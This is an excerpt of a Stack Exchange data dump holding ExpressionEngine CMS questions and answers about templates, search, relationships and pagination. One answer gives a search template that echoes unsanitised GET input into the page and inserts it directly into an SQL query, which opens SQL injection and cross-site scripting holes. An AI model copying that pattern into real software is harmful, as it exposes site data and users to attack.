Results&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    query=&quot;{segment_2}&quot;&#xA;    status=&quot;not closed&quot;&#xA;    disable=&quot;member_data|category_fields&quot;&#xA;}&#xA;    ...&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In summary, this contains:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A single select for Topic;&lt;/li&gt;&#xA;&lt;li&gt;A single select for Audience;&lt;/li&gt;&#xA;&lt;li&gt;A multiple select for Tag;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;require_all=&quot;category&quot;&lt;/code&gt; will make sure only results with &lt;strong&gt;both&lt;/strong&gt; selected categories are returned (so Topic A &lt;strong&gt;and&lt;/strong&gt; Audience X, instead of Topic A &lt;strong&gt;or&lt;/strong&gt; Audience X).&lt;/li&gt;&#xA;&lt;li&gt;The search results will contain entries that match &lt;strong&gt;any&lt;/strong&gt; of the selected tags. To change that to &lt;strong&gt;all&lt;/strong&gt;, add &lt;code&gt;tag_id&lt;/code&gt; to the &lt;code&gt;require_all&lt;/code&gt; parameter, thus: &lt;code&gt;require_all=&quot;category|tag_id&quot;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to be able to select multiple topics and audiences (so get results from Topic A, B, or C &lt;strong&gt;and&lt;/strong&gt; Audience X, Y, or Z), use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-category-groups&quot; rel=&quot;nofollow&quot;&gt;Category Groups&lt;/a&gt; option.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2013-09-02T07:49:30.160" LastActivityDate="2013-09-02T07:49:30.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13361" PostTypeId="2" ParentId="444" CreationDate="2013-08-31T09:58:46.990" Score="1" Body="&lt;p&gt;FYI: EllisLab released New Relic monitoring in ExpressionEngine 2.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/blog/entry/expressionengine-2.7.0-released&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/blog/entry/expressionengine-2.7.0-released&lt;/a&gt; (2nd sub head down)&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2013-08-31T09:58:46.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13362" PostTypeId="2" ParentId="13348" CreationDate="2013-08-31T10:18:27.693" Score="4" Body="&lt;p&gt;Do you mean that a single entry could have a single entry relating itself to over 2,000 other entries, or just that there are 2,000+ other entries to choose from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the latter, the answer is Yes, Playa is quite capable of dealing with large numbers of entries. Simply set a Limit on the Playa field to something like 100 entries, and then use the Search bar to get at whatever isn't immediately visible.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-31T10:18:27.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13363" PostTypeId="2" ParentId="13358" CreationDate="2013-08-31T11:41:31.127" Score="1" Body="&lt;p&gt;Your issue is you cant use php inside the query tag sql. If you dont believe me, look at the source code for query module. From memory its in system/module/query. Remove this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BASE64_DECODE(field_settings) 'field_settings', field_label&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:query sql=&quot;Select CONCAT('field_id_',field_id) 'field_id', field_name, c.channel_name {!--BASE64_DECODE(field_settings) 'field_settings', field_label--}&#xA;     from exp_channel_fields f join exp_channels c on c.field_group = f.group_id order by c.channel_name asc, f.field_order asc&quot;}&#xA;     {channel_name}&lt;br/&gt;{field_id}, {field_name}&lt;br/&gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i see you want to group by channel name, so wrap it with your {exp:getchannels} tag like you did in your example (sorry, using my ipad...takes too long to show code). That should work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:  If exp:getchannels is a plugin it wont work. Modules get parsed before plugins &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt;. So to change to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt; {exp:getchannels parse=&quot;inward&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you still need to decode the field settings, so your best solution is to create a plugin to run the query, then loop through the output and decode the field settings row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also run queries &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/sql_query_form.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. And check db &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/sql_manage_tables.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-08-31T11:56:31.783" LastActivityDate="2013-08-31T11:56:31.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13364" PostTypeId="1" CreationDate="2013-08-31T13:57:27.613" Score="0" ViewCount="51" Body="&lt;p&gt;Is there a setting for the file-fieldtype or a third-party fieldtype that allows only to upload a file (and NOT browse existing ones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is that certain member groups are only supposed to add files.&lt;/p&gt;&#xA;" OwnerUserId="1013" LastActivityDate="2013-08-31T18:07:26.767" Title="Upload only field" Tags="|file-uploads|fieldtype|uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13365" PostTypeId="2" ParentId="13364" CreationDate="2013-08-31T17:36:14.307" Score="1" Body="&lt;p&gt;Channel Files will probably do what you're looking to do. The &quot;Limit Stored Files by Author&quot; setting is probably what you're looking for, here's a screenshot of the fieldtype settings screen: &lt;a href=&quot;http://www.devdemon.com/images/products/30/fieldtype.jpg&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/images/products/30/fieldtype.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can buy it here: &lt;a href=&quot;http://devot-ee.com/add-ons/channel-files&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/channel-files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-08-31T17:36:14.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13366" PostTypeId="2" ParentId="13364" CreationDate="2013-08-31T18:07:26.767" Score="0" Body="&lt;p&gt;I just remembered the Safecracker File fieldtype which perfectly fits the bill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I just read it has been removed in 2.7 ...&lt;/p&gt;&#xA;" OwnerUserId="1013" LastActivityDate="2013-08-31T18:07:26.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13367" PostTypeId="2" ParentId="13349" CreationDate="2013-08-31T19:07:22.240" Score="2" Body="&lt;p&gt;Here's a different embed approach to ponder, it may make maintenace much easier. Lets say you have 50 templates, each with the same basic html structure. Under your current approach youd most likely need to add that feature code to each template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, think inside out and consider using partials like we do. &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Template-partials&quot; rel=&quot;nofollow&quot;&gt;about partials&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres our layout. Template = layout/.default&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;title&amp;gt;{exp:stash:head_title} - LocalYak&amp;lt;/title&amp;gt;&#xA;        {sn_head}&#xA;        {gv_jquery}&#xA;        {exp:stash:head_links}&#xA;        {gv_google_analytics}&#xA;    &amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;        {sn_body_top}&#xA;        &amp;lt;div id=&quot;main_bkgd&quot;&amp;gt;&#xA;            &amp;lt;div id=&quot;main&quot; class=&quot;device_{ress} view_{view}&quot;&amp;gt;&#xA;                {exp:stash:content_above}&#xA;                &amp;lt;div id=&quot;content&quot; class=&quot;{if ress &amp;gt; 1}rounded{/if} {exp:stash:get name='content_class'}&quot;&amp;gt;&#xA;                    {exp:stash:content}&#xA;                &amp;lt;/div&amp;gt;&#xA;                {exp:stash:content_below}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {sn_footer}&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And heres a (page) template that calls and uses that layout.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layout/.default&quot;}&#xA;{exp:stash:set name='head_title'}Compare{/exp:stash:set}&#xA;{exp:stash:set name='head_links'}&#xA;    &amp;lt;link rel='stylesheet' type='text/css' media='screen' href=&quot;{stylesheet='advertise/.css_advertise'}&quot; /&amp;gt;&#xA;    &amp;lt;link rel='stylesheet' type='text/css' media='screen' href=&quot;{stylesheet='pages/.css_pages'}&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;LocalYak | Compare LocalYak advertising packages&quot; /&amp;gt;&#xA;{/exp:stash:set}&#xA;{exp:stash:set name='content_class'}tab-advertise outline{/exp:stash:set}&#xA;{exp:stash:set name='content'}&#xA;    &amp;lt;div class=&quot;page_select body_wrap&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;Compare packages&amp;lt;/h1&amp;gt;&#xA;        [put your page content here.... or if you are forced to like we did on this occassion, create an extra embed]{embed=&quot;advertise/.select_type&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, you could then simply add this conditional to each template where you need dev to see a different layout &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layout/.default{if group_id==123}_dev{/if}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, go one step further and put your view conditions (using if, not if:else) inside a snippet and use preload_replace.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layout/.default{sn_view_switch}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course you would then need to create that extra .default_dev layout. So, whats the benefit of doing it this way? Well, all your special dev view stuff could simply be added into template layout/.default_dev. One spot, easy to maintain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you need to show different content for the page, simply wrap using simple conditional like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_3 == &quot;&quot;}&#xA;    {exp:stash:set name='content_class'}category splash{/exp:stash:set}&#xA;    {exp:stash:set name='content'}some content or tags{/exp:stash:set}&#xA;{/if}&#xA;{if segment_3 != &quot;&quot;}&#xA;    {exp:stash:set name='content_class'}category splash{/exp:stash:set}&#xA;    {exp:stash:set name='content'}some different content or tags{/exp:stash:set}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Our site is mostly built on that one single default layout, however we do use a total of seven layouts. &lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-08-31T20:03:57.213" LastActivityDate="2013-08-31T20:03:57.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13368" PostTypeId="1" CreationDate="2013-08-31T19:38:35.233" Score="3" ViewCount="108" Body="&lt;p&gt;I need to pass a custom, and dynamic field through from the page that has the Add to Cart button on it, all the way through checkout. How would I go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I have some Add to Cart buttons that add a specific &quot;product&quot; from the Store Products channel and the Product they add, depends on the entry from a secondary channel so I need to pass the entry_id from that secondary channel all the way through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this makes sense and hopefully it's a quick answer. :-)&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-09-02T14:15:11.323" Title="Pass custom/dynamic product information during add to cart process" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13369" PostTypeId="2" ParentId="1668" CreationDate="2013-09-01T03:14:41.493" Score="0" Body="&lt;p&gt;This worked like a charm for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input &#xA; type=&quot;text&quot; &#xA; name=&quot;billing_name&quot; &#xA; value=&quot;{visitor:global:member_firstname} {visitor:global:member_lastname}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used that to replace the standard Expresso Store tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:billing_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Technically speaking, you're still not getting the nice, one-to-one mapping relationship between Zoo Visitor and Expresso Store but it certainly works to &quot;fool&quot; Expresso Store into automatically receiving the first and last name fields from Zoo Visitor.&lt;/p&gt;&#xA;" OwnerUserId="1984" LastActivityDate="2013-09-01T03:14:41.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13370" PostTypeId="2" ParentId="13348" CreationDate="2013-09-01T12:29:00.877" Score="1" Body="&lt;p&gt;What version of ee are you using? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is below 2.6 you will see two additional columns in the exp_relationships table. These are rel_data and reverse_rel_data columns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these columns exist, thats your problem. In other words, these columns cache the content of the related entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution, upgrade ee as the new relationships field type looks to have been redesigned like playa, and i suggest it is much more efficient.&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-09-01T12:34:48.747" LastActivityDate="2013-09-01T12:34:48.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13371" PostTypeId="2" ParentId="13349" CreationDate="2013-09-01T12:36:14.373" Score="4" Body="&lt;p&gt;Have you seen the Focus Lab Master Config? It has environment switching built-in and has become the preferred way to do all that you're asking:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;https://github.com/focuslabllc/ee-master-config&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's too heavy, you can instead create some simple high-level variables yourself in your main index.php file and/or your config.php file depending on, say, your hostname or IP address. Typically you'd have variables for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;template file basepath override to use a different set of templates (preferably with some kind of version control to automatically deploy from the dev location to the live location to save the hassle of manually copying from dev to live)&lt;/li&gt;&#xA;&lt;li&gt;environment name for extra per-template conditionals (dev/live/staging etc)&lt;/li&gt;&#xA;&lt;li&gt;entry status for use in channel entries tags (dev site = &quot;open|draft&quot; live site = &quot;open&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then in your templates any time you use a channel entries tag you'd add &lt;code&gt;status=&quot;{env_statuses}&quot;&lt;/code&gt; to show draft content on your dev site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For A/B testing, try Google Experiments in Google Analytics, works better than anything you can build in EE.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-09-01T12:36:14.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13373" PostTypeId="1" CreationDate="2013-09-01T17:09:39.840" Score="1" ViewCount="118" Body="&lt;p&gt;ExpressionEngine greenhorn here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to output some pagination and run into blank pages when I click any of the links (page 1, 2, 3, Next/Last etc...). The numbered list of pages also jumps up by multiples 6... which sets of alarm bells because my channel below has a limit of 6.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;6&quot; dynamic=&quot;off&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; paginate=&quot;bottom&quot;}&#xA;                 {paginate}&#xA;&#xA;                       &amp;lt;p id=&quot;pagination&quot;&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;                    {/paginate} &#xA;&amp;lt;!-- SOME ENTRIES --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1954" LastActivityDate="2013-10-03T19:51:33.587" Title="Pagination showing blank content area" Tags="|pagination|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13374" PostTypeId="2" ParentId="9146" CreationDate="2013-09-01T20:15:31.877" Score="0" Body="&lt;p&gt;I've had some success using a standard &lt;code&gt;GET&lt;/code&gt; form and inserting the search term with PHP into a &lt;code&gt;{exp:query}&lt;/code&gt; tag on the results template. I then pass the resulting member IDs to &lt;a href=&quot;https://exp-resso.com/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt; and output the member data with it. You'll need to have access to your SQL database to identify the ID names of your custom member fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NB: I don't know whether this method is at risk for SQL injection.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search form is straightforward:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;get&quot; action=&quot;/search&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;s&quot;&amp;gt;Search by Member Screen Name, Affiliation, or Maiden Name&amp;lt;/label&amp;gt; &amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;search&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt; &amp;lt;input type=&quot;submit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now for the search results template. Suppose you've created two custom member fields called Member Affiliation and Member Maiden Name, and you want a single search form that returns matches to those two fields as well as Screen Name. Open up &lt;code&gt;exp_member_fields&lt;/code&gt; in PHPmyAdmin or &lt;a href=&quot;http://www.sequelpro.com&quot; rel=&quot;nofollow&quot;&gt;Sequel Pro&lt;/a&gt;, look for those fields, and note the &lt;code&gt;m_field_id&lt;/code&gt; associated with them. Suppose you see they have IDs &lt;code&gt;10&lt;/code&gt; and &lt;code&gt;11&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now create a search results template (&lt;code&gt;search/index&lt;/code&gt;). Set &lt;em&gt;Allow PHP&lt;/em&gt; to &lt;code&gt;Yes&lt;/code&gt; and &lt;em&gt;PHP Parsing Stage&lt;/em&gt; to &lt;strong&gt;Input&lt;/strong&gt;. Note that Input parsing is less common then Output and it can cause problems if you're using PHP in other ways on the same template.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    // retrieve input, if any&#xA;    $s =isset($_GET[&quot;s&quot;]) ? $_GET[&quot;s&quot;] : null;&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;h2&amp;gt;Search Results for &amp;lt;em&amp;gt;&amp;lt;?php echo $s; ?&amp;gt;&amp;lt;/em&amp;gt;.&amp;lt;/h2&amp;gt;&#xA;&#xA;    {!-- &#xA;    Let's search these fields:&#xA;    screen_name:        screen_name (it's already part of exp_members)&#xA;    member_affil:       m_field_id_10 &#xA;    member_maiden:      m_field_id_11&#xA;     --}&#xA;&#xA;    {exp:query limit=&quot;100&quot; sql=&quot;&#xA;       SELECT * FROM exp_member_data &#xA;       JOIN exp_members ON exp_members.member_id = exp_member_data.member_id&#xA;       WHERE  (&#xA;            screen_name LIKE '%&amp;lt;?php echo $s;?&amp;gt;%')&#xA;            OR (m_field_id_10 LIKE '%&amp;lt;?php echo $s;?&amp;gt;%')&#xA;            OR (m_field_id_11 LIKE '%&amp;lt;?php echo $s;?&amp;gt;%')&#xA;            )&#xA;            ORDER BY screen_name&#xA;            &quot;}&#xA;&#xA;                {embed=&quot;search/_member&quot; the_member_id=&quot;{member_id}&quot;}&#xA;&#xA;             {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, the embedded template (&lt;code&gt;search/_member&lt;/code&gt;) looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:freemember:members member_id=&quot;{embed:the_member_id}&quot;}&#xA;        &amp;lt;h2&amp;gt;{screen_name}&amp;lt;/h2&amp;gt;&#xA;        Member Affiliation: {member_affil}&#xA;        Member Maiden Name: {member_maiden}&#xA;&#xA;        etc...&#xA;&#xA;    {/exp:freemember:members}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="489" LastActivityDate="2013-09-01T20:15:31.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13375" PostTypeId="2" ParentId="13373" CreationDate="2013-09-01T20:24:31.687" Score="1" Body="&lt;p&gt;The sample code you have provided looks right and is an exact copy of what is provided in the user guide under pagination. I also tested it in my site and it works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue then must be caused by other code inside the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comment out chunks of the code and test it yourself until it works/doesnt work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe youve used a plugin tag that is causing the conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: After checking your code in your earlier question spotted a tag for slideshow and suggest if you remove that code things will work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a search for slideshow leads me to suggest its custom code thats been written and is causing the conflict. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you place this inside the slideshow tag, (i think) youll get a result that is causing the conflict with pagination&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{total_pages}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am i correct?&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-09-01T20:40:38.003" LastActivityDate="2013-09-01T20:40:38.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13376" PostTypeId="2" ParentId="11672" CreationDate="2013-09-01T23:57:36.947" Score="8" Body="&lt;p&gt;This generally has to do with PHP being connected to Apache via FastCGI, rather than mod_php. When this is the case, an extra ? is needed in the rewrites to EE's index.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; RewriteRule ^(.*)$ /index.php/$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-01T23:57:36.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13377" PostTypeId="1" AcceptedAnswerId="13384" CreationDate="2013-09-02T02:02:43.433" Score="0" ViewCount="133" Body="&lt;p&gt;I am using this &lt;a href=&quot;http://devot-ee.com/add-ons/nic&quot; rel=&quot;nofollow&quot;&gt;addon&lt;/a&gt; to show time in a &quot;time ago&quot; format. The problem with this one is that it doesn't seem to support multilanguage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an add-on or a PHP solution that supports this kind of feature?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-02T02:18:09.083" LastActivityDate="2013-09-02T09:12:50.410" Title="&quot;Time Ago&quot; addon that has multilanguage support" Tags="|multi-language|time|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13378" PostTypeId="1" AcceptedAnswerId="13381" CreationDate="2013-09-02T02:13:36.907" Score="1" ViewCount="1140" Body="&lt;p&gt;I am currently using &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; to manage multiple relationships and a gallery of images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am at 2.5.5 and contemplating upgrading to 2.7. I looked at the changelog and I saw the new &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;Relationship fieldtype&lt;/a&gt; that support multiple relationships and the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html&quot; rel=&quot;nofollow&quot;&gt;Grid&lt;/a&gt; fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these new fieldtypes robust enough to replace those?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I think I might have been too general/vague in my description. To clear things up, these are 3 features that I need that I am not sure is doable in Relationship/Grid&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A radio button that is a &quot;is_default&quot; field. This means that it should be aware of the other radio buttons in other rows in that there should only be one checked radio button at all times&lt;/li&gt;&#xA;&lt;li&gt;Pagination support for Grid&lt;/li&gt;&#xA;&lt;li&gt;Multiple relationships field inside Grid. I am aware that the new Relationship fieldtype supports multiple relationships now but the question is if it is available inside Grid&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-03T03:06:14.067" LastActivityDate="2013-10-04T08:51:35.113" Title="Relationships/Grid Fieldtype can replace Playa/Matrix?" Tags="|matrix|playa|relationships|grid|2.7.0|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13379" PostTypeId="1" AcceptedAnswerId="13380" CreationDate="2013-09-02T03:16:18.543" Score="0" ViewCount="56" Body="&lt;p&gt;I have one channel for workshops and one for events. each workshop can have multiple events but each event can only belong to one workshop. workshops are rarely added/edited. but new events are added frequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so my set-up is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;workshops&#xA;    title                           Text Input&#xA;    description                     Text Area&#xA;&#xA;events&#xA;    title                           Text Input&#xA;    date-and-time                   Date&#xA;    belongs-to-workshop             Relationship (to workshops, single)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now I have a template where I want to show all workshops and under each workshop I want to list related events. &#xA;one easy way (so far) seems to be another field in the workshops channel: some field like &quot;related events&quot; (a mulitple-relationship pointing to events channel). but that means the admin would have to edit the workshop entry each time they add a new event. I'd like to make it easy on the user and just let them add events and link the event to a workshop by using the &quot;belongs-to-workshop&quot; drop down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;question: how could I access the events in my 'workshops' template which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;workshops&quot;}&#xA;&amp;lt;div class=&quot;workshop&quot;&amp;gt;&#xA;    {title}, {description}&#xA;    Related Events: {???}&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does the &quot;workshop&quot; entry not know which events are related? I suppose that's what the old &quot;reverse related entries&quot; tag was for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2013-09-02T05:27:01.093" Title="simple relationship question" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13380" PostTypeId="2" ParentId="13379" CreationDate="2013-09-02T05:27:01.093" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#accessing-parents&quot; rel=&quot;nofollow&quot;&gt;See documentation here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;workshops&quot;}&#xA;  {parents field=&quot;relationship_field&quot;}&#xA;    {parents:title} - {parents:field1} - {parents:field2}&#xA;  {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-09-02T05:27:01.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
